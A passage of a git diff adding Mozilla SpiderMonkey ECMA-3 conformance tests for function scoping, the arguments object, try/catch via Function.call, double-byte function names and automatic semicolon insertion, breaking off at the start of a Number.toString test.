diff --git a/js/src/tests/ecma_3/Function/regress-49286.js b/js/src/tests/ecma_3/Function/regress-49286.js
new file mode 100644
index 000000000..8ae5fd959
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-49286.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-10
+ *
+ * SUMMARY: Invoking try...catch through Function.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=49286
+ *
+ * 1) Define a function with a try...catch block in it
+ * 2) Invoke the function via the call method of Function
+ * 3) Pass bad syntax to the try...catch block
+ * 4) We should catch the error!
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 49286;
+var summary = 'Invoking try...catch through Function.call';
+var cnErrorCaught = 'Error caught';
+var cnErrorNotCaught = 'Error NOT caught';
+var cnGoodSyntax = '1==2';
+var cnBadSyntax = '1=2';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var obj = new testObject();
+
+status = 'Section A of test: direct call of f';
+actual = f.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+status = 'Section B of test: indirect call of f';
+actual = g.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+
+
+//-----------------------------------------
+test();
+//-----------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+// An object storing bad syntax as a property -
+function testObject()
+{
+ this.badSyntax = cnBadSyntax;
+ this.goodSyntax = cnGoodSyntax;
+}
+
+
+// A function wrapping a try...catch block
+function f()
+{
+ try
+ {
+ eval(this.badSyntax);
+ }
+ catch(e)
+ {
+ return cnErrorCaught;
+ }
+ return cnErrorNotCaught;
+}
+
+
+// A function wrapping a call to f -
+function g()
+{
+ return f.call(this);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
diff --git a/js/src/tests/ecma_3/Function/regress-58274.js b/js/src/tests/ecma_3/Function/regress-58274.js
new file mode 100644
index 000000000..3d326c279
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-58274.js
@@ -0,0 +1,192 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing functions with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing functions with double-byte names';
+var ERR = 'UNEXPECTED ERROR! \n';
+var ERR_MALFORMED_NAME = ERR + 'Could not find function name in: \n\n';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval;
+var sName;
+
+
+sEval = "function f\u02B2() {return 42;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2);
+
+// Test function call -
+status = inSection(1);
+actual = f\u02B2();
+expect = 42;
+addThis();
+
+// Test both characters of function name -
+status = inSection(2);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(3);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+
+
+sEval = "function f\u02B2\u0AAA () {return 84;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2\u0AAA);
+
+// Test function call -
+status = inSection(4);
+actual = f\u02B2\u0AAA();
+expect = 84;
+addThis();
+
+// Test all three characters of function name -
+status = inSection(5);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(6);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+status = inSection(7);
+actual = sName[2];
+expect = sEval[11];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: test that f.toString() contains the proper function name.
+ *
+ * Note, however, f.toString() is implementation-independent. For example,
+ * it may begin with '\nfunction' instead of 'function'. Therefore we use
+ * a regexp to make sure we extract the name properly.
+ *
+ * Here we assume that f has been defined by means of a function statement,
+ * and not a function expression (where it wouldn't have to have a name).
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before using it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getFunctionName(f)
+{
+ var s = condenseStr(f.toString());
+ var re = /\s*function\s+(\S+)\s*\(/;
+ var arr = s.match(re);
+
+ if (!(arr && arr[1]))
+ return ERR_MALFORMED_NAME + s;
+ return arr[1];
+}
+
+
+/*
+ * This function is the opposite of functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'");
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-85880.js b/js/src/tests/ecma_3/Function/regress-85880.js
new file mode 100644
index 000000000..4d0eb65f0
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-85880.js
@@ -0,0 +1,139 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-06-14
+ *
+ * SUMMARY: Regression test for Bugzilla bug 85880
+ *
+ * Rhino interpreted mode was nulling out the arguments object of a
+ * function if it happened to call another function inside its body.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85880
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 85880;
+var summary = 'Arguments object of g(){f()} should not be null';
+var cnNonNull = 'Arguments != null';
+var cnNull = 'Arguments == null';
+var cnRecurse = true;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f1(x)
+{
+}
+
+
+function f2()
+{
+ return f2.arguments;
+}
+status = 'Section A of test';
+actual = (f2() == null);
+expect = false;
+addThis();
+
+status = 'Section B of test';
+actual = (f2(0) == null);
+expect = false;
+addThis();
+
+
+function f3()
+{
+ f1();
+ return f3.arguments;
+}
+status = 'Section C of test';
+actual = (f3() == null);
+expect = false;
+addThis();
+
+status = 'Section D of test';
+actual = (f3(0) == null);
+expect = false;
+addThis();
+
+
+function f4()
+{
+ f1();
+ f2();
+ f3();
+ return f4.arguments;
+}
+status = 'Section E of test';
+actual = (f4() == null);
+expect = false;
+addThis();
+
+status = 'Section F of test';
+actual = (f4(0) == null);
+expect = false;
+addThis();
+
+
+function f5()
+{
+ if (cnRecurse)
+ {
+ cnRecurse = false;
+ f5();
+ }
+ return f5.arguments;
+}
+status = 'Section G of test';
+actual = (f5() == null);
+expect = false;
+addThis();
+
+status = 'Section H of test';
+actual = (f5(0) == null);
+expect = false;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisNull(actual);
+ expectedvalues[UBound] = isThisNull(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function isThisNull(bool)
+{
+ return bool? cnNull : cnNonNull
+ }
diff --git a/js/src/tests/ecma_3/Function/regress-94506.js b/js/src/tests/ecma_3/Function/regress-94506.js
new file mode 100644
index 000000000..735b0d546
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-94506.js
@@ -0,0 +1,129 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 08 August 2001
+ *
+ * SUMMARY: When we invoke a function, the arguments object should take
+ * a back seat to any local identifier named "arguments".
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94506
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94506;
+var summary = 'Testing functions employing identifiers named "arguments"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var TYPE_OBJECT = typeof new Object();
+var arguments = 5555;
+
+
+// use a parameter named "arguments"
+function F1(arguments)
+{
+ return arguments;
+}
+
+
+// use a local variable named "arguments"
+function F2()
+{
+ var arguments = 55;
+ return arguments;
+}
+
+
+// same thing in a different order. CHANGES THE RESULT!
+function F3()
+{
+ return arguments;
+ var arguments = 555;
+}
+
+
+// use the global variable above named "arguments"
+function F4()
+{
+ return arguments;
+}
+
+
+
+/*
+ * In Sections 1 and 2, expect the local identifier, not the arguments object.
+ * In Sections 3 and 4, expect the arguments object, not the the identifier.
+ */
+
+status = 'Section 1 of test';
+actual = F1(5);
+expect = 5;
+addThis();
+
+
+status = 'Section 2 of test';
+actual = F2();
+expect = 55;
+addThis();
+
+
+status = 'Section 3 of test';
+actual = typeof F3();
+expect = TYPE_OBJECT;
+addThis();
+
+
+status = 'Section 4 of test';
+actual = typeof F4();
+expect = TYPE_OBJECT;
+addThis();
+
+
+// Let's try calling F1 without providing a parameter -
+status = 'Section 5 of test';
+actual = F1();
+expect = undefined;
+addThis();
+
+
+// Let's try calling F1 with too many parameters -
+status = 'Section 6 of test';
+actual = F1(3,33,333);
+expect = 3;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-97921.js b/js/src/tests/ecma_3/Function/regress-97921.js
new file mode 100644
index 000000000..2b0154386
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-97921.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 10 September 2001
+ *
+ * SUMMARY: Testing with() statement with nested functions
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=97921
+ *
+ * Brendan: "The bug is peculiar to functions that have formal parameters,
+ * but that are called with fewer actual arguments than the declared number
+ * of formal parameters."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 97921;
+var summary = 'Testing with() statement with nested functions';
+var cnYES = 'Inner value === outer value';
+var cnNO = "Inner value !== outer value!";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var outerValue = '';
+var innerValue = '';
+var useWith = '';
+
+
+function F(i)
+{
+ i = 0;
+ if(useWith) with(1){i;}
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ F1 = function() {innerValue = i;}; // capture value of i in inner function
+ F1();
+}
+
+
+status = inSection(1);
+useWith=false;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+status = inSection(2);
+useWith=true;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+function G(i)
+{
+ i = 0;
+ with (new Object()) {i=100};
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ G1 = function() {innerValue = i;}; // capture value of i in inner function
+ G1();
+}
+
+
+status = inSection(3);
+G(); // call G without supplying the argument
+actual = innerValue === 101;
+expect = true;
+addThis();
+
+status = inSection(4);
+G(); // call G without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = areTheseEqual(actual);
+ expectedvalues[UBound] = areTheseEqual(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function areTheseEqual(yes)
+{
+ return yes? cnYES : cnNO
+ }
diff --git a/js/src/tests/ecma_3/Function/scope-001.js b/js/src/tests/ecma_3/Function/scope-001.js
new file mode 100644
index 000000000..a7b42b4e2
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/scope-001.js
@@ -0,0 +1,231 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 May 2001
+ *
+ * SUMMARY: Functions are scoped statically, not dynamically
+ *
+ * See ECMA Section 10.1.4 Scope Chain and Identifier Resolution
+ * (This section defines the scope chain of an execution context)
+ *
+ * See ECMA Section 12.10 The with Statement
+ *
+ * See ECMA Section 13 Function Definition
+ * (This section defines the scope chain of a function object as that
+ * of the running execution context when the function was declared)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing that functions are scoped statically, not dynamically';
+var self = this; // capture a reference to the global object
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+/*
+ * In this section the expected value is 1, not 2.
+ *
+ * Why? f captures its scope chain from when it's declared, and imposes that chain
+ * when it's executed. In other words, f's scope chain is from when it was compiled.
+ * Since f is a top-level function, this is the global object only. Hence 'a' resolves to 1.
+ */
+status = 'Section A of test';
+var a = 1;
+function f()
+{
+ return a;
+}
+var obj = {a:2};
+with (obj)
+{
+ actual = f();
+}
+expect = 1;
+addThis();
+
+
+/*
+ * In this section the expected value is 2, not 1. That is because here
+ * f's associated scope chain now includes 'obj' before the global object.
+ */
+status = 'Section B of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+ actual = f();
+}
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section B , except that we call f outside the with block.
+ * By the principles explained above, we still expect 2 -
+ */
+status = 'Section C of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+}
+actual = f();
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section C, but with one more level of indirection -
+ */
+status = 'Section D of test';
+var a = 1;
+var obj = {a:2, obj:{a:3}};
+with (obj)
+{
+ with (obj)
+ {
+ function f()
+ {
+ return a;
+ }
+ }
+}
+actual = f();
+expect = 3;
+addThis();
+
+
+/*
+ * Like Section C, but here we actually delete obj before calling f.
+ * We still expect 2 -
+ */
+status = 'Section E of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+}
+delete obj;
+actual = f();
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section E. Here we redefine obj and call f under with (obj) -
+ * We still expect 2 -
+ */
+status = 'Section F of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+}
+delete obj;
+var obj = {a:3};
+with (obj)
+{
+ actual = f();
+}
+expect = 2; // NOT 3 !!!
+addThis();
+
+
+/*
+ * Explicitly verify that f exists at global level, even though
+ * it was defined under the with(obj) block -
+ */
+status = 'Section G of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+}
+actual = String([obj.hasOwnProperty('f'), self.hasOwnProperty('f')]);
+expect = String([false, true]);
+addThis();
+
+
+/*
+ * Explicitly verify that f exists at global level, even though
+ * it was defined under the with(obj) block -
+ */
+status = 'Section H of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ function f()
+ {
+ return a;
+ }
+}
+actual = String(['f' in obj, 'f' in self]);
+expect = String([false, true]);
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+ resetTestVars();
+}
+
+
+function resetTestVars()
+{
+ delete a;
+ delete obj;
+ delete f;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/scope-002.js b/js/src/tests/ecma_3/Function/scope-002.js
new file mode 100644
index 000000000..20e3fa523
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/scope-002.js
@@ -0,0 +1,211 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 May 2001
+ *
+ * SUMMARY: Functions are scoped statically, not dynamically
+ *
+ * See ECMA Section 10.1.4 Scope Chain and Identifier Resolution
+ * (This section defines the scope chain of an execution context)
+ *
+ * See ECMA Section 12.10 The with Statement
+ *
+ * See ECMA Section 13 Function Definition
+ * (This section defines the scope chain of a function object as that
+ * of the running execution context when the function was declared)
+ *
+ * Like scope-001.js, but using assignment var f = function expression
+ * instead of a function declaration: function f() {} etc.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing that functions are scoped statically, not dynamically';
+var self = this; // capture a reference to the global object
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+
+/*
+ * In this section the expected value is 1, not 2.
+ *
+ * Why? f captures its scope chain from when it's declared, and imposes that chain
+ * when it's executed. In other words, f's scope chain is from when it was compiled.
+ * Since f is a top-level function, this is the global object only. Hence 'a' resolves to 1.
+ */
+status = 'Section A of test';
+var a = 1;
+var f = function () {return a;};
+var obj = {a:2};
+with (obj)
+{
+ actual = f();
+}
+expect = 1;
+addThis();
+
+
+/*
+ * In this section the expected value is 2, not 1. That is because here
+ * f's associated scope chain now includes 'obj' before the global object.
+ */
+status = 'Section B of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+ actual = f();
+}
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section B , except that we call f outside the with block.
+ * By the principles explained above, we still expect 2 -
+ */
+status = 'Section C of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+}
+actual = f();
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section C, but with one more level of indirection -
+ */
+status = 'Section D of test';
+var a = 1;
+var obj = {a:2, obj:{a:3}};
+with (obj)
+{
+ with (obj)
+ {
+ var f = function () {return a;};
+ }
+}
+actual = f();
+expect = 3;
+addThis();
+
+
+/*
+ * Like Section C, but here we actually delete obj before calling f.
+ * We still expect 2 -
+ */
+status = 'Section E of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+}
+delete obj;
+actual = f();
+expect = 2;
+addThis();
+
+
+/*
+ * Like Section E. Here we redefine obj and call f under with (obj) -
+ * We still expect 2 -
+ */
+status = 'Section F of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+}
+delete obj;
+var obj = {a:3};
+with (obj)
+{
+ actual = f();
+}
+expect = 2; // NOT 3 !!!
+addThis();
+
+
+/*
+ * Explicitly verify that f exists at global level, even though
+ * it was defined under the with(obj) block -
+ */
+status = 'Section G of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+}
+actual = String([obj.hasOwnProperty('f'), self.hasOwnProperty('f')]);
+expect = String([false, true]);
+addThis();
+
+
+/*
+ * Explicitly verify that f exists at global level, even though
+ * it was defined under the with(obj) block -
+ */
+status = 'Section H of test';
+var a = 1;
+var obj = {a:2};
+with (obj)
+{
+ var f = function () {return a;};
+}
+actual = String(['f' in obj, 'f' in self]);
+expect = String([false, true]);
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+ resetTestVars();
+}
+
+
+function resetTestVars()
+{
+ delete a;
+ delete obj;
+ delete f;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/shell.js b/js/src/tests/ecma_3/Function/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/shell.js
diff --git a/js/src/tests/ecma_3/LexicalConventions/7.4-01.js b/js/src/tests/ecma_3/LexicalConventions/7.4-01.js
new file mode 100644
index 000000000..2ec702e9e
--- /dev/null
+++ b/js/src/tests/ecma_3/LexicalConventions/7.4-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475834;
+var summary = ' /**/ comments with newlines in them must act as line breaks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() {
+ L: for (var i=0; i<2; i++) {
+ for (var j=0; j<2; j++) {
+ break/*
+ */L;
+ }
+ return "conformant!";
+ }
+ return "non-conformant!";
+ }
+
+ expect = 'conformant!';
+ print(actual = f());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/LexicalConventions/7.8.3-01.js b/js/src/tests/ecma_3/LexicalConventions/7.8.3-01.js
new file mode 100644
index 000000000..e323738f0
--- /dev/null
+++ b/js/src/tests/ecma_3/LexicalConventions/7.8.3-01.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 523401;
+var summary = 'identifier starts immediately after numeric literal';
+var expect = "SyntaxError: identifier starts immediately after numeric literal";
+var actual;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+try {
+ eval("actual = 0in [1]");
+} catch (e) {
+ actual = e;
+}
+actual = '' + actual;
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_3/LexicalConventions/7.9.1.js b/js/src/tests/ecma_3/LexicalConventions/7.9.1.js
new file mode 100644
index 000000000..7e11692cf
--- /dev/null
+++ b/js/src/tests/ecma_3/LexicalConventions/7.9.1.js
@@ -0,0 +1,124 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 402386;
+var summary = 'Automatic Semicolon insertion in postfix expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var expr;
+ var code;
+
+ // LeftHandSideExpression [no LineTerminator here] ++
+
+ code = 'expr ++';
+ expr = 0;
+ expect = 1;
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ code = 'expr\n++';
+ expr = 0;
+ expect = 'SyntaxError: expected expression, got end of script';
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ // LeftHandSideExpression [no LineTerminator here] --
+
+ code = 'expr --';
+ expr = 0;
+ expect = -1;
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ code = 'expr\n--';
+ expr = 0;
+ expect = 'SyntaxError: expected expression, got end of script';
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ //
+
+ var x = 1;
+ var y = 1;
+ code = '(x\n)-- y';
+ expect = 'SyntaxError: missing ; before statement';
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ code = '(x)-- y';
+ expect = 'SyntaxError: missing ; before statement';
+
+ try
+ {
+ eval(code);
+ actual = expr;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/ecma_3/LexicalConventions/browser.js b/js/src/tests/ecma_3/LexicalConventions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/LexicalConventions/browser.js
diff --git a/js/src/tests/ecma_3/LexicalConventions/shell.js b/js/src/tests/ecma_3/LexicalConventions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/LexicalConventions/shell.js
diff --git a/js/src/tests/ecma_3/Number/15.7.4.2-01.js b/js/src/tests/ecma_3/Number/15.7.4.2-01.js
new file mode 100644
index 000000000..a2cc265e1
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.2-01.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "411889";
+var summary = "num.toString(), num.toString(10), and num.toString(undefined)" +
+ " should all be equivalent";
